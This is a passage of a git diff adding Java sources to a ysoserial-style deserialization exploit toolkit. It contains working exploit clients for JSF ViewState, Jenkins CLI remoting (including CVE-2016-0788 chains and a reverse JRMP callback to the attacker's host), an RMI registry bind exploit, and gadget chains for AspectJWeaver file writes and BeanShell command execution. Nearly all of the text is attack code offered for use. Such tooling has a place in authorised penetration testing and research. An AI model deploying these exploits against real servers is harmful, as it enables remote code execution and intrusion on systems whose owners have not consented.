java.net.*; +import java.rmi.MarshalException; +import java.rmi.server.ObjID; +import java.rmi.server.UID; +import java.util.Arrays; + + +/** + * Generic JRMP listener + *

+ * Opens up an JRMP listener that will deliver the specified payload to any + * client connecting to it and making a call. + * + * @author mbechler + */ +@SuppressWarnings({ + "restriction" +}) +public class JRMPListener implements Runnable { + + private int port; + + private Object payloadObject; + + private ServerSocket ss; + + private Object waitLock = new Object(); + + private boolean exit; + + private boolean hadConnection; + + private URL classpathUrl; + + + public JRMPListener(int port, Object payloadObject) throws NumberFormatException, IOException { + this.port = port; + this.payloadObject = payloadObject; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public JRMPListener(int port, String className, URL classpathUrl) throws IOException { + this.port = port; + this.payloadObject = makeDummyObject(className); + this.classpathUrl = classpathUrl; + this.ss = ServerSocketFactory.getDefault().createServerSocket(this.port); + } + + public static final void main(final String[] args) throws Exception { + if (args.length < 5) { + System.err.println(JRMPListener.class.getName() + " "); + System.exit(-1); + return; + } + + // 去除第一个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + ysoserial(newArray); + final Object payloadObject = ysoserial.PAYLOAD; + + try { + int port = Integer.parseInt(args[0]); + System.err.println("* Opening JRMP listener on " + port); + JRMPListener c = new JRMPListener(port, payloadObject); + c.run(); + } catch (Exception e) { + System.err.println("Listener error"); + e.printStackTrace(System.err); + } + } + + @SuppressWarnings({"deprecation"}) + protected static Object makeDummyObject(String className) { + try { + ClassLoader isolation = new ClassLoader() { + }; + ClassPool cp = new ClassPool(); + cp.insertClassPath(new ClassClassPath(Dummy.class)); + CtClass clazz = cp.get(Dummy.class.getName()); + clazz.setName(className); + return clazz.toClass(isolation).newInstance(); + } catch (Exception e) { + e.printStackTrace(); + return new byte[0]; + } + } + + public boolean waitFor(int i) { + try { + if (this.hadConnection) { + return true; + } + System.err.println("Waiting for connection"); + synchronized (this.waitLock) { + this.waitLock.wait(i); + } + return this.hadConnection; + } catch (InterruptedException e) { + return false; + } + } + + public void close() { + this.exit = true; + try { + this.ss.close(); + } catch (IOException e) { + } + synchronized (this.waitLock) { + this.waitLock.notify(); + } + } + + public void run() { + try { + Socket s = null; + try { + while (!this.exit && (s = this.ss.accept()) != null) { + try { + s.setSoTimeout(5000); + InetSocketAddress remote = (InetSocketAddress) s.getRemoteSocketAddress(); + System.err.println("Have connection from " + remote); + + InputStream is = s.getInputStream(); + InputStream bufIn = is.markSupported() ? is : new BufferedInputStream(is); + + // Read magic (or HTTP wrapper) + bufIn.mark(4); + DataInputStream in = new DataInputStream(bufIn); + int magic = in.readInt(); + + short version = in.readShort(); + if (magic != TransportConstants.Magic || version != TransportConstants.Version) { + s.close(); + continue; + } + + OutputStream sockOut = s.getOutputStream(); + BufferedOutputStream bufOut = new BufferedOutputStream(sockOut); + DataOutputStream out = new DataOutputStream(bufOut); + + byte protocol = in.readByte(); + switch (protocol) { + case TransportConstants.StreamProtocol: + out.writeByte(TransportConstants.ProtocolAck); + if (remote.getHostName() != null) { + out.writeUTF(remote.getHostName()); + } else { + out.writeUTF(remote.getAddress().toString()); + } + out.writeInt(remote.getPort()); + out.flush(); + in.readUTF(); + in.readInt(); + case TransportConstants.SingleOpProtocol: + doMessage(s, in, out, this.payloadObject); + break; + default: + case TransportConstants.MultiplexProtocol: + System.err.println("Unsupported protocol"); + s.close(); + continue; + } + + bufOut.flush(); + out.flush(); + } catch (InterruptedException e) { + return; + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + System.err.println("Closing connection"); + s.close(); + } + + } + + } finally { + if (s != null) { + s.close(); + } + if (this.ss != null) { + this.ss.close(); + } + } + + } catch (SocketException e) { + return; + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + private void doMessage(Socket s, DataInputStream in, DataOutputStream out, Object payload) throws Exception { + System.err.println("Reading message..."); + + int op = in.read(); + + switch (op) { + case TransportConstants.Call: + // service incoming RMI call + doCall(in, out, payload); + break; + + case TransportConstants.Ping: + // send ack for ping + out.writeByte(TransportConstants.PingAck); + break; + + case TransportConstants.DGCAck: + UID u = UID.read(in); + break; + + default: + throw new IOException("unknown transport op " + op); + } + + s.close(); + } + + private void doCall(DataInputStream in, DataOutputStream out, Object payload) throws Exception { + ObjectInputStream ois = new ObjectInputStream(in) { + + @Override + protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { + if ("[Ljava.rmi.server.ObjID;".equals(desc.getName())) { + return ObjID[].class; + } else if ("java.rmi.server.ObjID".equals(desc.getName())) { + return ObjID.class; + } else if ("java.rmi.server.UID".equals(desc.getName())) { + return UID.class; + } + throw new IOException("Not allowed to read object"); + } + }; + + ObjID read; + try { + read = ObjID.read(ois); + } catch (java.io.IOException e) { + throw new MarshalException("unable to read objID", e); + } + + + if (read.hashCode() == 2) { + ois.readInt(); // method + ois.readLong(); // hash + System.err.println("Is DGC call for " + Arrays.toString((ObjID[]) ois.readObject())); + } + + System.err.println("Sending return with payload for obj " + read); + + out.writeByte(TransportConstants.Return);// transport op + ObjectOutputStream oos = new JRMPClient.MarshalOutputStream(out, this.classpathUrl); + + oos.writeByte(TransportConstants.ExceptionalReturn); + new UID().write(oos); + + BadAttributeValueExpException ex = new BadAttributeValueExpException(null); + Reflections.setFieldValue(ex, "val", payload); + oos.writeObject(ex); + + oos.flush(); + out.flush(); + + this.hadConnection = true; + synchronized (this.waitLock) { + this.waitLock.notifyAll(); + } + } + + public static class Dummy implements Serializable { + + private static final long serialVersionUID = 1L; + + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JSF.java b/src/main/java/com/qi4l/JYso/exploit/JSF.java new file mode 100644 index 0000000..6ede079 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/JSF.java @@ -0,0 +1,79 @@ +package com.qi4l.JYso.exploit; + +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; +import com.qi4l.JYso.controllers.ysoserial; +import org.apache.commons.codec.binary.Base64; + +import java.io.ByteArrayOutputStream; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLConnection; +import java.net.URLEncoder; + + +/** + * JSF view state exploit + *

+ * Delivers a gadget payload via JSF ViewState token. + *

+ * This will only work if ViewState encryption/mac is disabled. + *

+ * While it has been long known that client side state saving + * with encryption disabled leads to RCE via EL injection, + * this of course also works with deserialization gadgets. + *

+ * Also, it turns out that MyFaces is vulnerable to this even when + * using server-side state saving + * (yes, please, let's (de-)serialize a String as an Object). + * + * @author mbechler + */ +public class JSF { + + public static void main(String[] args) { + + if (args.length < 3) { + System.err.println(JSF.class.getName() + " "); + System.exit(-1); + } + + try { + URL u = new URL(args[0]); + + // 去除前两个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + ysoserial(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + URLConnection c = u.openConnection(); + if (!(c instanceof HttpURLConnection)) { + throw new IllegalArgumentException("Not a HTTP url"); + } + + HttpURLConnection hc = (HttpURLConnection) c; + hc.setDoOutput(true); + hc.setRequestMethod("POST"); + hc.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); + OutputStream os = hc.getOutputStream(); + + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(bos); + oos.writeObject(payloadObject); + oos.close(); + byte[] data = bos.toByteArray(); + String requestBody = "javax.faces.ViewState=" + URLEncoder.encode(Base64.encodeBase64String(data), "US-ASCII"); + os.write(requestBody.getBytes("US-ASCII")); + os.close(); + + System.err.println("Have response code " + hc.getResponseCode() + " " + hc.getResponseMessage()); + } catch (Exception e) { + e.printStackTrace(System.err); + } + } + + +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java new file mode 100644 index 0000000..9300890 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsCLI.java @@ -0,0 +1,120 @@ +package com.qi4l.JYso.exploit; + +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; +import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.utils.Reflections; +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Channel.Mode; +import hudson.remoting.ChannelBuilder; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.lang.reflect.Constructor; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.net.*; +import java.util.concurrent.ExecutorService; +import java.util.concurrent.Executors; +import java.util.concurrent.ThreadFactory; + +/** + * Jenkins CLI client + *

+ * Jenkins unfortunately is still using a custom serialization based + * protocol for remote communications only protected by a blacklisting + * application level filter. + *

+ * This is a generic client delivering a gadget chain payload via that protocol. + * + * @author mbechler + */ +public class JenkinsCLI { + + public static final void main(final String[] args) throws Exception { + if (args.length < 5) { + System.err.println(JenkinsCLI.class.getName() + " "); + System.exit(-1); + } + + String jenkinsUrl = args[0]; + // 去除前一个参数 + String[] newArray = new String[args.length - 1]; + System.arraycopy(args, 1, newArray, 0, newArray.length); + + ysoserial(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + c.call(getPropertyCallable(payloadObject)); + } catch (Throwable e) { + e.printStackTrace(); + } finally { + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + } + } + + public static Callable getPropertyCallable(final Object prop) + throws ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + Reflections.setAccessible(reqCons); + Object getJarLoader = reqCons + .newInstance(1, Class.forName("hudson.remoting.IChannel").getMethod("getProperty", Object.class), new Object[]{ + prop + }); + return (Callable) getJarLoader; + } + + public static InetSocketAddress getCliPort(String jenkinsUrl) throws MalformedURLException, IOException { + URL u = new URL(jenkinsUrl); + + URLConnection conn = u.openConnection(); + if (!(conn instanceof HttpURLConnection)) { + System.err.println("Not a HTTP URL"); + throw new MalformedURLException(); + } + + HttpURLConnection hc = (HttpURLConnection) conn; + if (hc.getResponseCode() >= 400) { + System.err.println("* Error connection to jenkins HTTP " + u); + } + int clip = Integer.parseInt(hc.getHeaderField("X-Jenkins-CLI-Port")); + + return new InetSocketAddress(u.getHost(), clip); + } + + public static Channel openChannel(InetSocketAddress isa) throws IOException, SocketException { + System.err.println("* Opening socket " + isa); + Socket s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + System.err.println("* Opening channel"); + OutputStream outputStream = s.getOutputStream(); + DataOutputStream dos = new DataOutputStream(outputStream); + dos.writeUTF("Protocol:CLI-connect"); + ExecutorService cp = Executors.newCachedThreadPool(new ThreadFactory() { + + public Thread newThread(Runnable r) { + Thread t = new Thread(r, "Channel"); + t.setDaemon(true); + return t; + } + }); + Channel c = new ChannelBuilder("EXPLOIT", cp).withMode(Mode.BINARY).build(s.getInputStream(), outputStream); + System.err.println("* Channel open"); + return c; + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java new file mode 100644 index 0000000..6940cfa --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsListener.java @@ -0,0 +1,199 @@ +package com.qi4l.JYso.exploit; + +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; +import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.JRMPListener; +import com.qi4l.JYso.gadgets.utils.Reflections; +import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.JarLoader; +import sun.rmi.server.Util; +import sun.rmi.transport.TransportConstants; + +import javax.net.SocketFactory; +import java.io.DataOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; +import java.lang.reflect.*; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.activation.ActivationDesc; +import java.rmi.activation.ActivationID; +import java.rmi.activation.ActivationInstantiator; + + +/** + * CVE-2016-0788 exploit (1) + *

+ * 1. delivers a org.su18.ysuserial.payloads.JRMPListener payload to jenkins via it's remoting protocol. + * 2. that payload causes the remote server to open up an JRMP listener (and export an object). + * 3. connect to that JRMP listener and deliver any otherwise blacklisted payload. + *

+ * Extra twist: + * The well-known objects exported by the listener use the system classloader which usually + * won't contain the targeted classes. Therefor we need to get ahold of the exported object's id + * (which is using jenkins' classloader) that typically is properly randomized. + * Fortunately - for the exploiting party - there is also a gadget that allows to leak + * that identifier via an exception. + * + * @author mbechler + */ +@SuppressWarnings({ + "rawtypes", "restriction" +}) +public class JenkinsListener { + + public static final void main(final String[] args) { + + if (args.length < 5) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + String jenkinsUrl = args[0]; + int jrmpPort = 12345; + + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + + Object call = c.call(JenkinsCLI.getPropertyCallable(JarLoader.class.getName() + ".ours")); + InvocationHandler remote = Proxy.getInvocationHandler(call); + int oid = Reflections.getField(Class.forName("hudson.remoting.RemoteInvocationHandler"), "oid").getInt(remote); + + System.err.println("* JarLoader oid is " + oid); + + Object uro = new JRMPListener().getObject(String.valueOf(jrmpPort)); + + Class reqClass = Class.forName("hudson.remoting.RemoteInvocationHandler$RPCRequest"); + + Object o = makeIsPresentOnRemoteCallable(oid, uro, reqClass); + + try { + c.call((Callable) o); + } catch (Exception e) { + // [ActivationGroupImpl[UnicastServerRef [liveRef: + // [endpoint:[172.16.20.11:12345](local),objID:[de39d9c:15269e6d8bf:-7fc1, + // -9046794842107247609]] + + System.err.println(e.getMessage()); + + parseObjIdAndExploit(args, jrmpPort, isa, e); + } + + } catch (Throwable e) { + e.printStackTrace(); + } finally { + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + } + + } + + + private static Object makeIsPresentOnRemoteCallable(int oid, Object uro, Class reqClass) + throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException { + Constructor reqCons = reqClass.getDeclaredConstructor(int.class, Method.class, Object[].class); + Reflections.setAccessible(reqCons); + return reqCons + .newInstance(oid, JarLoader.class.getMethod("isPresentOnRemote", Class.forName("hudson.remoting.Checksum")), new Object[]{ + uro, + }); + } + + + private static void parseObjIdAndExploit(final String[] args, int jrmpPort, InetSocketAddress isa, Exception e) throws Exception, IOException { + String msg = e.getMessage(); + int start = msg.indexOf("objID:["); + if (start < 0) { + throw new Exception("Failed to get object id"); + } + + int sep = msg.indexOf(", ", start + 1); + + if (sep < 0) { + throw new Exception("Failed to get object id, separator"); + } + + int end = msg.indexOf("]", sep + 1); + + if (end < 0) { + throw new Exception("Failed to get object id, separator"); + } + + String uid = msg.substring(start + 7, sep); + String objNum = msg.substring(sep + 2, end); + + System.err.println("* UID is " + uid); + System.err.println("* ObjNum is " + objNum); + + String[] parts = uid.split(":"); + + long obj = Long.parseLong(objNum); + int o1 = Integer.parseInt(parts[0], 16); + long o2 = Long.parseLong(parts[1], 16); + short o3 = Short.parseShort(parts[2], 16); + + exploit(new InetSocketAddress(isa.getAddress(), jrmpPort), obj, o1, o2, o3, args); + } + + + private static void exploit(InetSocketAddress isa, long obj, int o1, long o2, short o3, String[] args) + throws IOException { + Socket s = null; + DataOutputStream dos = null; + try { + System.err.println("* Opening JRMP socket " + isa); + s = SocketFactory.getDefault().createSocket(isa.getAddress(), isa.getPort()); + s.setKeepAlive(true); + s.setTcpNoDelay(true); + + OutputStream os = s.getOutputStream(); + dos = new DataOutputStream(os); + + dos.writeInt(TransportConstants.Magic); + dos.writeShort(TransportConstants.Version); + dos.writeByte(TransportConstants.SingleOpProtocol); + + dos.write(TransportConstants.Call); + + @SuppressWarnings("resource") final ObjectOutputStream objOut = new JRMPClient.MarshalOutputStream(dos); + + objOut.writeLong(obj); + objOut.writeInt(o1); + objOut.writeLong(o2); + objOut.writeShort(o3); + + objOut.writeInt(-1); + objOut.writeLong(Util.computeMethodHash(ActivationInstantiator.class.getMethod("newInstance", ActivationID.class, ActivationDesc.class))); + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + ysoserial(newArray); + Object payloadObject = ysoserial.PAYLOAD; + + objOut.writeObject(payloadObject); + os.flush(); + } catch (Exception e) { + e.printStackTrace(System.err); + } finally { + if (dos != null) { + dos.close(); + } + if (s != null) { + s.close(); + } + } + } + + +} diff --git a/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java new file mode 100644 index 0000000..82b0b72 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/JenkinsReverse.java @@ -0,0 +1,76 @@ +package com.qi4l.JYso.exploit; + +import static com.qi4l.JYso.controllers.ysoserial.ysoserial; +import com.qi4l.JYso.controllers.ysoserial; +import com.qi4l.JYso.gadgets.JRMPClient; +import hudson.remoting.Channel; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.rmi.registry.Registry; +import java.util.Random; + +/** + * CVE-2016-0788 exploit (2) + *

+ * - Sets up a local {@link JRMPListener} + * - Delivers a {@link com.qi4l.JYso.exploit.JRMPClient} payload via the CLI protocol + * that will cause the remote to open a JRMP connection to our listener + * - upon connection the specified payload will be delivered to the remote + * (that will deserialize using a default ObjectInputStream) + * + * @author mbechler + */ +public class JenkinsReverse { + + public static final void main(final String[] args) throws Exception { + if (args.length < 4) { + System.err.println(JenkinsListener.class.getName() + " "); + System.exit(-1); + } + + // 去除前两个参数 + String[] newArray = new String[args.length - 2]; + System.arraycopy(args, 2, newArray, 0, newArray.length); + + ysoserial(newArray); + final Object payloadObject = ysoserial.PAYLOAD; + String myAddr = args[1]; + int jrmpPort = new Random().nextInt(65536 - 1024) + 1024; + String jenkinsUrl = args[0]; + + Thread t = null; + Channel c = null; + try { + InetSocketAddress isa = JenkinsCLI.getCliPort(jenkinsUrl); + c = JenkinsCLI.openChannel(isa); + JRMPListener listener = new JRMPListener(jrmpPort, payloadObject); + t = new Thread(listener, "ReverseDGC"); + t.setDaemon(true); + t.start(); + Registry payload = (Registry) new JRMPClient().getObject(myAddr + ":" + jrmpPort); + c.call(JenkinsCLI.getPropertyCallable(payload)); + listener.waitFor(1000); + listener.close(); + } catch (Throwable e) { + e.printStackTrace(); + } finally { + if (c != null) { + try { + c.close(); + } catch (IOException e) { + e.printStackTrace(System.err); + } + } + + if (t != null) { + t.interrupt(); + try { + t.join(); + } catch (InterruptedException e) { + e.printStackTrace(System.err); + } + } + } + } +} diff --git a/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java new file mode 100644 index 0000000..47b578d --- /dev/null +++ b/src/main/java/com/qi4l/JYso/exploit/RMIBindExploit.java @@ -0,0 +1,118 @@ +package com.qi4l.JYso.exploit; + +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.sun.security.auth.UnixPrincipal; +import sun.rmi.transport.StreamRemoteCall; +import sun.rmi.transport.tcp.TCPEndpoint; + +import javax.management.remote.rmi.RMIConnection; +import javax.security.auth.Subject; +import java.io.IOException; +import java.io.ObjectInput; +import java.io.ObjectOutput; +import java.lang.reflect.Field; +import java.rmi.*; +import java.rmi.registry.LocateRegistry; +import java.rmi.registry.Registry; +import java.rmi.server.Operation; +import java.rmi.server.RemoteObject; +import java.rmi.server.RemoteRef; +import java.util.*; + +/** + * @author su18 + */ +public class RMIBindExploit { + + + public static void main(String[] args) throws Exception { + + if (args.length < 4) { + System.err.println(JRMPClient.class.getName() + " "); + System.exit(-1); + } + + String host = args[0]; + int registryPort = Integer.parseInt(args[1]); + String command = args[2]; + String serviceName = args[3]; + + Registry registry = LocateRegistry.getRegistry(host, registryPort); + System.out.println(Arrays.toString(registry.list())); + + Subject subject = new Subject(); + + Set set = new HashSet(); + set.add(new UnixPrincipal(command)); + Reflections.setFieldValue(subject, "principals", set); + + + RMIClient r = new RMIClient(); + r.ref = (RemoteRef) Reflections.getFieldValue(registry, "ref"); + r.ip = host; + + + System.out.println(((RMIConnection) r.lookup(serviceName)).getDefaultDomain(subject)); + } + + static class RMIClient extends RemoteObject { + + private final Operation[] operations = new Operation[]{new Operation("void bind(java.lang.String, java.rmi.Remote)"), new Operation("java.lang.String list()[]"), new Operation("java.rmi.Remote lookup(java.lang.String)"), new Operation("void rebind(java.lang.String, java.rmi.Remote)"), new Operation("void unbind(java.lang.String)")}; + + private RemoteRef ref = null; + + private String ip = null; + + public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { + try { + StreamRemoteCall var2 = (StreamRemoteCall) this.ref.newCall(this, operations, 2, 4905912898345647071L); + + try { + ObjectOutput var3 = var2.getOutputStream(); + var3.writeObject(var1); + } catch (IOException var15) { + throw new MarshalException("error marshalling arguments", var15); + } + + this.ref.invoke(var2); + + Remote var20; + try { + ObjectInput var4 = var2.getInputStream(); + var20 = (Remote) var4.readObject(); + + Field f = var2.getClass().getDeclaredField("in"); + f.setAccessible(true); + Object conn = f.get(var2); + + f = conn.getClass().getDeclaredField("incomingRefTable"); + f.setAccessible(true); + + HashMap rets = (HashMap) f.get(conn); + + Map.Entry entry = (Map.Entry) rets.entrySet().iterator().next(); + + f = entry.getKey().getClass().getDeclaredField("host"); + f.setAccessible(true); + f.set(entry.getKey(), this.ip); + } catch (Exception var13) { +// var2.discardPendingRefs(); + throw new UnmarshalException("error unmarshalling return", var13); + } finally { + this.ref.done(var2); + } + + return var20; + } catch (RuntimeException var16) { + throw var16; + } catch (RemoteException var17) { + throw var17; + } catch (NotBoundException var18) { + throw var18; + } catch (Exception var19) { + throw new UnexpectedException("undeclared checked exception", var19); + } + } + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java new file mode 100644 index 0000000..69fa904 --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver.java @@ -0,0 +1,100 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/** + * Gadget chain: + * HashSet.readObject() + * HashMap.put() + * HashMap.hash() + * TiedMapEntry.hashCode() + * TiedMapEntry.getValue() + * LazyMap.get() + * SimpleCache$StorableCachingMap.put() + * SimpleCache$StorableCachingMap.writeToPath() + * FileOutputStream.write() + *

+ * Usage: + * args = ";" + * Example: + * java -jar ysoserial.jar aspectjweaver "ahi.txt;YWhpaGloaQ==" + *

+ * More information: + * https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) +@Authors({Authors.JANG}) + +public class AspectJWeaver implements ObjectPayload { + + public Serializable getObject(String command) throws Exception { + + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + String[] parts = command.split(":"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); + + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); + Transformer ct = new ConstantTransformer(content); + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + HashSet map = new HashSet(1); + map.add("QI4L"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java new file mode 100644 index 0000000..c40396b --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/AspectJWeaver2.java @@ -0,0 +1,89 @@ +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.Factory; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantFactory; +import org.apache.commons.collections.functors.FactoryTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/** + * 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10 + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) +@Authors({Authors.QI4L}) +public class AspectJWeaver2 implements ObjectPayload { + + @Override + public Serializable getObject(String command) throws Exception { + + int sep = command.lastIndexOf(';'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: ;"); + } + String[] parts = command.split(";"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); + + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); + + Factory ft = new ConstantFactory(content); + Transformer ct = new FactoryTransformer(ft); + + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + HashSet map = new HashSet(1); + map.add("QI4L"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java new file mode 100644 index 0000000..4959cae --- /dev/null +++ b/src/main/java/com/qi4l/JYso/gadgets/BeanShell1.java @@ -0,0 +1,37 @@ +package com.qi4l.JYso.gadgets; + +import bsh.Interpreter; +import bsh.XThis; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Reflections; +import com.qi4l.JYso.gadgets.utils.beanshell.BeanShellUtil; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.Comparator; +import java.util.PriorityQueue; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.beanshell:bsh:2.0b5"}) +@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) +public class BeanShell1 implements ObjectPayload { + + public PriorityQueue getObject(String command) throws Exception { + String payload = BeanShellUtil.makeBeanShellPayload(command); + Interpreter i = new Interpreter(); + i.eval(payload); + XThis xt = new XThis(i.getNameSpace(), i); + InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)}; + 